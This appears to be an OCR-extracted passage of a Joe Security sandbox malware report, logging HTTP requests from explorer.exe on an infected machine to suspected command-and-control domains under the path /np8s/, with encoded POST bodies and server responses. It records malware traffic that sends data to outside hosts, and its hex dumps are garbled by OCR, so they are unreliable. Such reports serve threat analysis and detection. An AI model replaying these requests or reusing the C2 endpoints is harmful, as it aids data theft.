61 2f 28 13 93 8d 6a 76 36 c2 3c ee 45 b2 df 94 5a fa 1b b4 19 75 25 3b 46 98 5¢ ae 77 98 38 62 dO fd 4d 3b dd ff 94 1f
8b 3f 5f 71 d3 f5 35 17 00 00 00 ff ff 03 00 Ob 21 95 2b 31 01 00 00 0d Oa

Data Ascii: d8INOyZvg:SUS=p}Y/DNoN'yRjYqdFf#[.:| TO~P/%Mi{{56pJ;<Za/(jv6<EZu%;F\w8bM;?_g5!+1

Destination IP Destination Port Process

C:\Windows\explorer.exe

Data

GET /np8s/?c2MH6DeP=SazV+ETfGqRGg8UpLQ9gT5IpaRa7t1Wyj9mLK06zGilC1KjP8kiErJAXediVB/PIDIGG&h
FQL=JXUhrvXxUhF4 HTTP/1.1

Host: www.2264a.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp transferred
May 27, 2022 9244
17:28:56.383929014
CEST
Session ID Source IP
24 192.168.2.3

. kBytes
WIEET transferred
May 27, 2022 9248
17:29:06.431688070
CEST
May 27, 2022 9287
17:29:06.550426960
CEST
Session ID Source IP
25 192.168.2.3

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49920

Direction

ouT

Source Port

49921

Destination IP

34.102.136.180 80

Destination IP

34.102.136.180 80

Data

HTTP/1.1 404 Not Found

Date: Fri, 27 May 2022 15:28:56 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

CF-Cache-Status: DYNAMIC

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\\v3?s=dWpu5jLHo3iwl%2BNHIxtOk6 GI3dIgRV
GQK710u0JIj49gbhGQ5GxsGHxI1%2FVyVDWR29kgWy2teu0x56i%2FsyEVNujcDhylznP4VgqJSjBbXUXMW?7RroHOiu
ZTy%2Bh020xx09"}],"group":"cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 711fc87d28084065-LHR

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Data Raw: 31 33 31 0d Oa 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 3e 0a 3c 68 65 61 64 3e Oa 3c
6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6 74 65 6e 74 3d 22 30 3b 75 72
6c 3d 2f 22 20 2f 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e Oa 3c 6d 65 74 61 20 68 74
7470 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6¢ 65 22 20 63 6f 6 74 65 6e 74 3d 22 49 45 3d 6
564 67 65 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69
64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 61 78 69
6d 75 6d 2d 73 63 61 6¢ 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6¢ 61 62 6¢ 65 3d 6e 6f 22 3e 0a 3c 74 69 74 6¢ 65 3e
3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e 0a 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e 0d
Oa

Data Ascii: 131<!doctype html><html><head><meta http-equiv="refresh" content="0;url=/" /><meta charset="utf-8"><meta
http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1,
maximum-scale=1, user-scalable=no"><title></title></head><body></body></htmI>

Destination Port Process

C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1

Host: www.heavymettlelawyers.com

Connection: close

Content-Length: 414

Cache-Control: no-cache

Origin: http://www.heavymettlelawyers.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.heavymettlelawyers.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 63 32 4d 48 36 44 65 50 3d 6a 45 7a 54 50 6b 37 52 6d 67 7a 77 47 44 68 67 53 46 6e 6d 43 76 42 58 75 64
78 2d 48 6e 59 35 34 41 49 72 62 53 4d 4d 57 54 5a 62 6e 59 54 5f 71 61 45 4f 7a 6d 46 34 72 67 6¢ 43 31 4f 66 42 77
394842 7175 4e 37 4a 52 76 6b 4b 50 77 66 6e 6b 42 63 5a 65 4b 6d 73 53 73 34 70 6f 58 50 51 4a 76 79 39 61 70 39
64 64 35 34 63 56 6d 65 4d 49 4f 6a 48 30 7a 30 59 45 6b 37 46 72 4b 49 6¢ 4f 6f 50 6f 66 35 45 6a 30 79 4e 50 53 64 55
56 64 66 39 75 33 64 67 74 35 6d 33 6b 5f 75 54 59 32 4e 51 70 71 47 61 51 39 32 54 46 7a 55 51 6b 6¢ 79 35 49 41 35
54 4a 74 6¢ 72 68 49 7a 77 70 55 66 49 6d 6b 66 38 31 78 61 65 32 6¢ 49 53 36 72 7e 30 49 77 35 75 52 54 4a 33 72 5a
37 37 71 61 7a 55 46 70 4a 6b 38 56 6f 4c 57 74 4c 6a 48 49 62 33 38 46 54 78 36 69 51 2d 46 41 43 30 44 54 75 7a 4b
76 59 33 6b 70 76 36 78 63 73 47 7e 75 6f 66 75 48 77 42 50 4b 59 7a 37 6b 49 4e 53 72 28 51 50 50 78 6a 54 6b 6e 73
37 65 4b 72 66 58 7e 37 61 6e 35 71 64 72 7a 36 71 78 59 2d 51 76 51 64 34 72 51 73 47 62 7e 79 42 6d 69 41 7a 4d 30
6¢ 553837 3557 3477 617866 79 73 56 6b 32 4f 69 31 63 4d 50 57 78 50 63 47 54 68 4f 76 6b 76 39 59 62 4e 70 69
38 56 6f 6e 78 39 72 5a 41 62 70 61 6¢ 5a 51 53 4f 56 53 46 36 41 4b 41 29 2e 00 00 00 00 00 00 00 00

Data Ascii: c2MH6DeP=jEzTPk7RmgzwGDhgSFnmCvBXudx-HnY54AIrbSMMWTZbnYT_gaEOzmF4rglC10fBwOHBq
uN7JRVKKPwfnkBcZeKmsSs4poXPQJvy9ap9dd54cVmeMIOjHOz0Y Ek7FrKIIOoPof5EjOyNPSdUVdf9u3dgtsm3k_u
TY2NQpgGaQ92TFzUQKIy5IA5TJtIrhizwpUfimkf81xae2llS6r~0lwsuRTJI3rZ77gazUFpIk8VoLWtLjHIb38FTx6iQ-FACODTu
ZKvY3kpv6xcsG~uofuHWBPKYz7KINSH(QPPxjTkns7eKrfX~7an5qdrz6gxY-QvQd4rQsGb~yBmiAzMOIU875W4wax
fysVk20i1lcMPWxPcGThOvkv9YbNpi8Vonx9rZAbpalZQSOVSF6AKA).

HTTP/1.1 405 Not Allowed

Server: openresty

Date: Fri, 27 May 2022 15:29:06 GMT

Content-Type: text/html

Content-Length: 154

X-Adblock-Key: MFWwDQYJKoZIhveNAQEBBQADSWAWSAJIBAIRMzcpTevQakWn6dJuX/N/HxI7YxbOwy8+73ijgYSQ
EN+WGxrruAKtZtliwC86+ewQ0OmsW1W8psOFL/b00zZWqsCAWEAAQ_eMGg+/9AhzTjaH9jOEzwZn20v9h8R9orzqWIKu
XKofoKFOkZ/rovOXY5RxSh71BQOVOIfQJjheuW64fIMToelw

Via: 1.1 google

Connection: close

Data Raw: 3c 68 74 6d 6c 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64
3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3¢ 68 31 3e 34 30 35
20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3¢ 68 72 3e 3c 63 65 6e 74 65 72 3e
6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr>
<center>openresty</center></body></htm|>

Destination Port Process
C:\Windows\explorer.exe
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kBytes

Timestamp T Direction
May 27, 2022 9261 ouT
17:29:06.450758934

CEST

Copyright Joe Security LLC 2022

Data

POST /np8s/ HTTP/1.1
Host: www.heavymettlelawyers.com
Connection: close
Content-Length: 36482
Cache-Control: no-cache
Origin: http://www.heavymettlelawyers.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.heavymettlelawyers.com/np8s/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Data Raw: 63 32 4d 48 36 44 65 50 3d 6a 45 7a 54 50 68 44 48 34 42 50 54 49 7a 39 54 42 6a 69 5f 4a 5f 78 56 76 74 46
78 49 48 31 6e 38 78 5a 61 47 48 49 62 5a 7a 52 42 67 6f 4f 74 39 70 30 47 7a 6e 31 64 74 55 4a 38 6a 65 53 7a 77 39
66 5f 71 75 4a 37 49 52 47 36 4a 76 42 34 6e 47 70 66 61 2d 4c 56 74 53 74 38 34 62 53 74 51 4a 69 66 39 61 68 74 61
74 46 34 54 54 71 65 4f 4c 57 6f 61 45 7a 79 52 6b 31 34 59 62 32 76 6¢ 4f 67 58 6f 65 56 45 6a 45 7e 4e 4d 32 68 58 54
66 33 79 6a 48 63 6b 68 5a 6d 75 71 66 79 39 59 32 35 69 70 72 36 61 54 4f 53 54 45 69 30 51 31 79 47 36 44 51 35 57
66 64 6b 72 6¢ 49 4f 32 70 51 7e 48 6d 6¢ 4c 4b 31 6a 47 65 32 56 49 58 74 71 6d 47 65 6e 56 66 65 7a 38 6¢ 72 5a 6e
5371 72 75 4a 46 6f 55 39 35 58 77 34 4c 2d 69 34 48 4b 32 35 35 6¢ 54 39 69 79 51 66 46 41 43 49 44 54 75 4e 4b 76
49 33 6b 6f 72 36 7a 5f 55 47 6f 66 6f 63 79 33 77 45 46 71 5a 75 6d 30 46 30 53 76 53 4c 50 4f 49 49 51 58 4c 73 68 5f
36 72 4a 55 6d 30 54 48 35 73 51 4c 79 6b 68 52 59 50 51 76 51 37 34 71 51 47 47 49 61 79 44 33 69 41 79 75 63 6¢C 5a
7337356159 77 59 34 2d 50 33 56 6b 7e 77 69 77 5a 37 4d 68 4a 50 53 31 62 68 4f 4e 63 76 38 49 62 4e 68 43 39 68
6d 46 63 48 6f 36 30 75 36 72 74 59 47 43 6e 32 53 31 7e 4b 57 38 77 50 46 70 44 43 37 2d 36 55 6¢ 5f 50 42 34 6f 49
3532 7530 36 4d 5a 35 61 41 4b 45 59 64 58 56 70 70 34 42 54 65 35 64 42 38 6e 6a 6d 76 79 56 5f 56 4c 6e 61 37 7a
6a 6f 28 55 65 6f 5a 64 37 37 6e 4f 4f 72 4b 68 35 64 78 5a 78 68 50 58 37 39 30 62 53 51 42 55 43 59 32 69 35 32 37 4b
3337 6848 61 58 34 6f 44 37 69 62 57 64 79 54 31 37 7a 53 50 44 7e 6e 49 78 54 6e 72 54 72 4a 6b 58 7a 2d 4a 74 6d
45 4d 39 36 41 33 6b 61 73 4b 53 69 72 63 4a 64 2d 7e 70 35 66 36 78 7a 73 52 33 57 34 64 4d 70 62 52 71 38 36 73 76
73 5a 4f 55 6e 54 47 37 69 71 34 30 75 30 64 6d 72 30 62 78 49 67 72 4d 50 74 52 4e 4e 4a 70 66 68 45 57 57 6f 63 49
70 4c 4a 77 50 70 45 75 2d 31 67 74 5558 52 61 6a 77 6e 4f 56 77 72 6a 5f 53 31 6b 39 6f 73 41 4d 52 50 63 37 37 55 3
4 4e 5a 79 69 47 4a 4a 55 56 36 54 4f 44 49 55 6¢ 77 45 4a 72 62 77 77 76 4f 66 31 50 34 58 2d 73 49 5a 74 61 55 42 37
4f 33 4b 4e 68 5f 67 72 66 55 57 76 33 38 73 75 32 48 37 49 6f 4a 34 30 66 6e 79 37 42 46 67 50 71 41 4c 5f 62 61 69 50
47 50 47 41 52 30 75 6e 41 62 73 6e 30 74 65 4d 66 50 4d 4e 37 2d 4e 67 62 59 74 39 79 4c 70 30 62 33 28 66 61 75 6d
79 6a 54 32 54 53 57 6e 6d 74 43 7e 39 53 4a 41 73 45 63 49 78 5a 69 44 47 59 64 52 49 75 31 64 53 33 67 76 45 66 41
58 6f 65 72 35 65 66 6d 59 6d 35 44 49 4c 4f 33 32 52 79 47 6b 46 4f 2d 51 52 31 72 4¢c 37 32 37 34 34 53 64 56 72 5a 31
63 6¢ 63 79 56 63 79 73 48 68 54 61 50 43 51 38 44 64 42 79 59 37 69 54 6e 54 4d 74 4e 57 4f 6b 75 6b 4f 42 71 56 7a
62 32 4c 6d 42 42 4a 6¢ 49 28 7a 30 55 4d 73 41 37 37 75 43 62 54 63 32 39 4c 43 78 75 4e 32 45 73 6b 62 43 4f 6b 6f
67 6¢ 55 76 63 51 70 63 71 57 7e 61 69 38 5a 61 44 52 52 79 55 35 62 35 37 48 37 42 48 77 33 38 6¢ 79 78 34 39 36 58
37287574 64 4251 28 41 50 64 44 7a 35 74 39 6e 75 49 28 47 32 38 33 7a 48 55 4c 6e 49 67 6a 78 64 51 57 74 28 59
75 4a 42 36 31 4d 52 5a 4c¢ 35 70 5f 6b 65 42 48 4f 33 56 64 68 38 53 47 78 55 52 39 57 72 72 70 43 51 78 74 4e 44 6f
6156 33 44 72 55 58 42 2d 71 6¢ 41 39 53 53 28 4f 78 68 76 73 52 57 63 59 5a 4c 73 39 73 6f 57 35 62 34 46 32 34 45
57 4136 44 36 6¢ 75 5a 39 78 63 41 61 4e 79 31 45 58 4a 78 62 4a 71 4b 72 48 55 43 38 36 53 63 7a 74 30 42 53 42 37
49 49 43 31 4d 63 56 48 68 43 70 4f 65 45 4d 49 6d 37 73 61 59 46 2d 6b 63 78 49 4b 55 61 6b 62 7a 54 52 53 78 28 46
4d 31 76 54 44 4a 65 54 73 73 77 5f 68 54 70 67 48 39 51 70 65 6¢ 74 57 48 4e 75 70 35 37 31 62 37 72 48 67 44 66 44
4e 47 73 4c 6b 28 71 4d 57 36 58 38 5a 73 6f 66 71 30 6¢ 78 46 4d 41 6e 63 57 76 56 78 28 79 46 43 33 41 5a 79 4f 46
59 31 4e 5f 30 4¢c 72 50 51 59 33 48 4d 43 66 71 76 70 55 4b 64 77 4a 36 28 61 4b 41 69 66 52 74 64 61 62 4b 75 4b 45
6d 45 4c 50 68 57 71 4a 57 54 6b 58 45 62 30 63 70 6d 30 61 45 48 34 54 39 56 6¢ 4e 5f 41 4b 34 50 75 49 6b 45 6b 61
6a 357139 7e 43 77 34 72 74 6b 6d 39 4b 5a 5a 47 41 57 53 70 5f 42 39 7a 7a 28 2d 6¢ 38 30 4a 78 58
Data Ascii: c2MH6DeP=jEzZTPhDH4BPTIz9TBji_J_xVvtFxIH1n8xZaGHIbZzRBgoOt9p0Gzn1dtUJ8jeSzw9of_qul7IRG6IVB
4nGpfa-LVtSt84bStQJif9ahtatF4TTgeOLWoaEzyRk14Yb2vIOgXoeVEJE~NM2hXTf3yjHckhZmuqgfy9Y25ipréaT
OSTEiI0Q1yG6DQ5WfdkrllO2pQ~HmILK1jGe2VIXtgmGenVfez8IrZnSqruJFoU95XwAL-i4HK255IT9iyQfFACIDTu
NKvI3kor6z_UGofocy3wEFqZumOFOSVSLPOIIQXLsh_6rJUm0TH5sQLYkhRYPQvQ74qQGGlayD3iAyuclZs75aYwY4-
P3Vk~wiwZ7MhJIPS1bhONcv8IbNhCIhmFcHo60u6rtY GCn2S1~KW8wPFpDC7-6Ul_PB40152u06MZ5aAKEYdXVpp4B
Te5dB8njmvyV_VLna7zjo(UeoZd77nO0rKh5dxZxhPX790bSQBUCY2i527K37hHaX40D7ibWdyT17zSPD~nIXTnrTrikXz-
JtMEM96A3kasKSircJd-~p5f6xzsR3W4dMpbRg86svsZOUnTG7iq40u0dmrObxIgrMPtRNNJIpfhEWWoclpLIwPpEu-1gtuX
RajwnOVwrj_S1k90sAMRPc77U4NZyiGJIUV6TODIUIWEIrbwwvOf1P4X-sIZtaUB7O3KNh_grfUWv38su2H710J40f
ny7BFgPgAL_baiPGPGAROUNAbsnOteMfPMN7-NgbYt9yLp0Ob3(faumyjT2TSWnmtC~9SJASECIXZIDGYdRIuldS3gv
EfAXoer5efmYm5DILO32RyGkFO-QR1rL72744SdVrZ1clcyVeysHhTaPCQ8DdBYY 7iTnTMINWOkukOBqgVzb2LmBBJI
1(zOUMsA77uCbTc29LCxuN2EskbCOkoglUvcQpcqW~ai8ZaDRRyU5b57H7BHwW38lyx496X7(utdBQ(APdDz5t9nul(
G283zHULNIgjxdQWt(YuJB61MRZL5p_keBHO3Vdh8SGXURIWrrpCQxtNDoaV3DrUXB-glA9SS(OxhvsRWcYZLs9soW
5b4F24EWAGBD6luZ9xcAaNy1EXIxbIgKrHUC86ScztOBSB7IIC1McVHhCpOeEMIm7saY F-kexIKUakbzTRSx(FM1vTD
JeTssw_hTpgHIQpeltWHNup571b7rHgDfDNGsLK(qMW6EX8ZsofqOIXFMANCWVV/x(yFC3AZYOFY1N_OLrPQY3HMCfqv
pUKdwJ6(aKAifRtdabKuKEmMELPhWqJWTkXEbOcpmOaEH4TOVIN_AK4PulkEkaj5q9~CwartkmOKZZGAWSp_B9zz(-I
80IxXBGININcrGSNhK0ZT4eFwr33CO30LIRIBWR3BNXph~s8Cz83wAJIQfnkooeB3JQshR3d6nrzeKDQM1DEUSS8Iv8
aCZwInJsEhhkubPd86YZUQhj2LcWhB7vahLj-KvneZOuKQ1v1lrusSyOJAH5DgeiRaPwy4y09z9yRg11jtYm074sB7X
i0IV7Bus3Lx8okyYZSUtnyPU_p6wNNwB1mcP3ecxjOVT6nR5aRAGQCIMFkXn572bwxwSIHRMGJ6555M9ivw5X8SR9u
blbJBG0o5N~NpgFT7y18KAKMN2bV-RV~wY1WwTIoG6QcJZiDMvgabWLCWIQ9ebcIHIcvDuzKFb709XmuwCzJqp02gE
6YqUtwlhopfw6yAW5kgPj90KRrbsaEn71~tCh1p4XyQkWPO(c8sLQ0cD60ZmL8cRAHMWACGUCU1xu8EOP3Stqd7R23
qKg~8sljIDjT8mMA~nSwz8~yAuzCiJTOVa47605AgphRs5MntVEM7Raf~bMtSqlproeYLikx TG5LIRBnY Kwo8FoaY 1k
gBoiZyW(MiUcGLwacWmbscPDnztPEe-7mSadbiG7J6M4hbTOL~n8mXThTvDzEgjv8zbUEFdAstmLtiGmgDLLTpvIOP
4gel0fY3zz4BIbcB_cKKcCQIH~NtSalLIVw2qOS44M(ndKXP (th6AGE0ENIhLEBfWrKV2eAZ57ThGEWEBwoqtiwwWMaY5
aoLLC~X67NUpl0XchR1eOBr4g6TIbzHRzbumhms(PkC2BYRI-bkbnXEyT17ubAd7ah3TWPPstS3up944e7LMovlj8p
z~y21TQ1RFf5zmkKDoBODKWxtiYyW590EbNSUYqqrrgWRe9L3YF5cv525]8syV88ROBBgOUUKIK5LvaL.2WOmpltXg
O(bO5qrDgDF5hwjwkwer_tQKvZD1KUIjLujofoWsBpKFhgxtAlrFKLKOkvhx2X34MAG1Nsvp_UxwTrBwFuOANUNUXC
WPNr_~BVykDQnfFSsDDjtbQohhdzZXiftJIdJ9fvSY5ytx3aWXfdyhl26hvwG~J1WJIhz2XiQL2VauOWgUjSUjxBXOw
ahR9DORCm5BH1cbRIcly6eDbi~leiPeQrtT0zi8RUUGFH1LkzphU2dfIMZbcRG2WGzH3kHAFf~hgN~byF8PWKROB_G
7CpxAltU7cdeaiyN32sF5mY34MC5bEdoMIRFITIQvdZbtgrifoavigHnO41zpbtydNJ19LZuQexueSWYV(-7sEwS11
JwxSryolrv7jCL096XZmVuVgEOduSk59mk5NkfnDYKCAtpSN5(gshNRIQ(QIURZrOGZtIGHI-~9Jc92MogCtXBsrcg
1y2prgU9uVXHOkjnOONb9PSw-OgDLVTs_82jaFrtvCWAvVY4ANKm7AW9I8lQ9fabCdXeCddDx99vopBxX~WhgCKVqcf9
hnQukBo2YZ5fS1_84t4MSJ3dqcBpL87yX0D6-lyDjIPRphoEX~2NJRK~BleeWiSxa3hZGbmbgrMxNILsF8YP_sgmfa
PrK4jF4hHzGntBsjX7156G-pk90L1FfXiBuSNLAAItV(30UFvb1X1j2vCQbvR28013uR6vZjgGuQ64HtU2kJs0i2ld
rAd(nEaQOJj1rKflyRC5TUN92m3AYVNNtQJfa~glibVew77WpdWWFuTLFMwbYBKRd6W2DODgZNz0Ejs2x3s6JRIM2q
JV89G4370IW9krN2I0Bfks5BjAeGY (R(i(SpZZCaCfPWSkYvqylcFksWeFOulk_T4AT8Azg9aEh0XzAlysDA3QMO4p
OS5DNp3pkRRNCHVA72ZNWRQ5I~yORCcRQE2YiB8q5IxjmxbitxllcGLur4d77kpQHPg2heNViVvGR5b6iSPBItNgx9VQIK
6g5DEpVCxSgjE8kDH(6wWAVMRNHhRIXO05CXI4fGtyWItTko8J7RrFEshuBbepAkZrOvCaNhNGmZn-aYKwDzw5k8LY]|
SILUpLAksS6si5b057zQTOWNBC6uU9UNzFFmpYIfPvYqRZ6a3uMYjVr25~fIMk5nLUt9cOPwWKLZiD(iY8yN6f2dCeu
n3uSbTe5qTAli81eud4Cy3HbB-sbGNNg6l~Ox2WWiKfkflryrq6Bgr(n~ca7gVLbivNItEEgR47jyXfn4CGiGuhOVNQ
_JoK1mc7yWds346Rs2lbulal3n-8auF9UNALE]Dei3fvQBU30duMUbOX7UbtwP-zpRIOg4cNFX-t-IN250pvOxHLYN
AGIVVIMmMOHaxiXaa9lPBr22RAUpMIJcIS0i4K(-r280i8wUcGr SvVYCztW5XONPGMS5r6tfaHZzJURWFSFil sbBX4
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kB!
Timestamp ytes Direction
transferred
May 27, 2022 9288 IN
17:29:06.576069117
CEST
Session ID Source IP Source Port
26 192.168.2.3 49922
kByt:
Timestamp yies Direction
transferred
May 27, 2022 9285 ouT
17:29:06.470418930
CEST
May 27, 2022 9288 IN
17:29:06.588088989
CESI}
Session ID Source IP Source Port
27 192.168.2.3 49931
) kBytes —
Ti Di
imestamp transferred irection

Copyright Joe Security LLC 2022

hjLZDki7sarer3Lz5GK8h9DFisRVXLEGHQTOWLIALG5Sq33xLPnCDTIhdMGBfSrh2(EZvW_yAiS~_32pWiEei~kk28
E\%TYSpHBhGGqIstzilTSSWCzLSmSWNxAYqhDKtlcNHhI(ReRklhy~axSSEa_QlokXVfL9 Lqvi-uwviQcXbiwDfVS5
EXt7jgpNBIhrX8qg9_Ci(gUBZR58cL5Yj4fWZ-ENKv6b06ZELhd8CDmMTOKY sRf48yjQ5VUlubUmpg8IQRqvRAThsTFW
kBIdvdAAV5p8YOFTcOojtPdVjmucUXLbvuW6gK883vBXtzO2PRuddIAO-VG22wboS7PraEINvLDlorhvVDfvYs6a-F
pbIDg4akKFQxg(1E327LfCvQbyYV

HTTP/1.1 405 Not Allowed

Server: openresty

Date: Fri, 27 May 2022 15:29:06 GMT

Content-Type: text/html

Content-Length: 154

X-Adblock-Key: MFwwDQY JKoZIhveNAQEBBQADSWAWSAJIBAIRmMzcpTevQakWn6dJuX/N/HxI7YxbOwy8+73ijqYSQ
EN+WGxrruAKtZtliwC86+ewQ0OmsW1W8psOFL/b00zZWqsCAWEAAQ_eMGg+/9AhzTjaH9jOEzwZn20vOh8R9orzqWIKu
XKofoKFOkZ/r9vOXY5RxSh7I1BQOVOIfQJjheuwW64fIMToelw

Via: 1.1 google

Connection: close

Data Raw: 3c 68 74 6d 6¢ 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64
3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3¢ 68 31 3e 34 30 35
20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3¢ 68 72 3e 3c 63 65 6e 74 65 72 3e
6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr>
<center>openresty</center></body></html>

Destination IP Destination Port Process
34.102.136.180 80 C:\Windows\explorer.exe
Data

GET /np8s/?c2MH6DeP=sGHpREHB6zr3UC4aQViiUpNRvOhYNnMtmnOrCI8QdyZ+urDz6JFWhhwh7EVf+dC28syJ&h
FQL=JXUhrvXxUhF4 HTTP/1.1

Host: www.heavymettlelawyers.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Fri, 27 May 2022 15:29:06 GMT

Content-Type: text/html

Content-Length: 291

ETag: "628d16df-123"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3¢
68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70
65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e Oa
202020 20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74
61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e
0a 20 20 20 20 3c 74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 20 20 3c 2f 68 65 61 64 3e Oa
20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 20
20 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE html><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;char
set=utf-8" /> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon" />  <title>Forbidden</title>
</head> <body> <hl>Access Forbidden</h1> </body></html>

Destination IP  Destination Port Process
154.220.100.142 80 C:\Windows\explorer.exe
Data
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kBytes

Timestamp A Direction
May 27, 2022 9293 ouT
17:29:24.115314960
CEST
Session ID Source IP Source Port
28 192.168.2.3 49932
kByt:
Timestamp yes Direction
transferred
May 27, 2022 9307 ouT
17:29:24.328233957
CEST

Copyright Joe Security LLC 2022

Data

POST /np8s/ HTTP/1.1

Host: www.interlink-travel.com

Connection: close

Content-Length: 414

Cache-Control: no-cache

Origin: http://www.interlink-travel.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.interlink-travel.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 63 32 4d 48 36 44 65 50 3d 42 37 61 41 51 41 4b 47 75 56 52 7a 63 68 65 69 46 50 59 58 46 76 57 4b 28 6e
42 73 34 4c 66 59 47 44 49 45 6f 74 47 49 75 33 6e 6b 33 72 4a 4f 7e 79 4a 64 4f 43 62 68 43 38 79 53 33 59 4f 4b 61 50
77 5530 35 31 4b 34 39 43 35 39 2d 46 51 58 7a 66 57 43 38 6b 5a 54 4a 58 75 6b 42 59 4a 78 4b 6a 69 4f 6¢ 47 48 45
4b 50 47 75 6e 6f 50 75 69 53 71 31 65 28 30 63 66 69 54 32 55 72 50 32 5f 41 4d 79 69 46 44 6b 5a 69 69 41 45 6f 61 6
9 52 4f 44 37 50 44 6a 7e 43 5a 69 6a 45 37 4b 63 33 54 70 6b 50 53 54 7e 4e 6e 56 4e 4c 38 32 6e 74 38 71 77 55 49
57 53 39 58 47 74 55 33 35 55 57 65 74 4a 46 73 6d 37 70 58 71 30 45 32 65 51 75 48 4d 43 62 56 59 4d 68 7e 6e 59 62
703572 61 78 64 67 5f 78 53 37 5f 46 7a 79 46 32 5a 35 72 62 52 61 55 7e 56 61 61 65 33 35 58 71 7a 45 36 37 49 6a
52 51 6¢ 69 4d 38 54 4d 41 64 79 70 35 41 48 36 6b 33 33 58 71 6b 4e 52 71 4a 58 43 34 38 66 78 54 62 73 72 61 32 5f
66 4c 41 70 7a 50 4a 42 49 36 71 62 66 38 6e 32 30 73 42 47 7e 41 54 4¢c 65 35 70 32 52 47 47 70 4a 51 48 61 63 68 54
383842 64 71 68 43 34 4b 4b 51 69 6¢ 30 63 37 6f 63 6b 4d 54 30 75 4e 55 6a 38 30 62 43 50 28 43 41 6b 34 74 71 5f
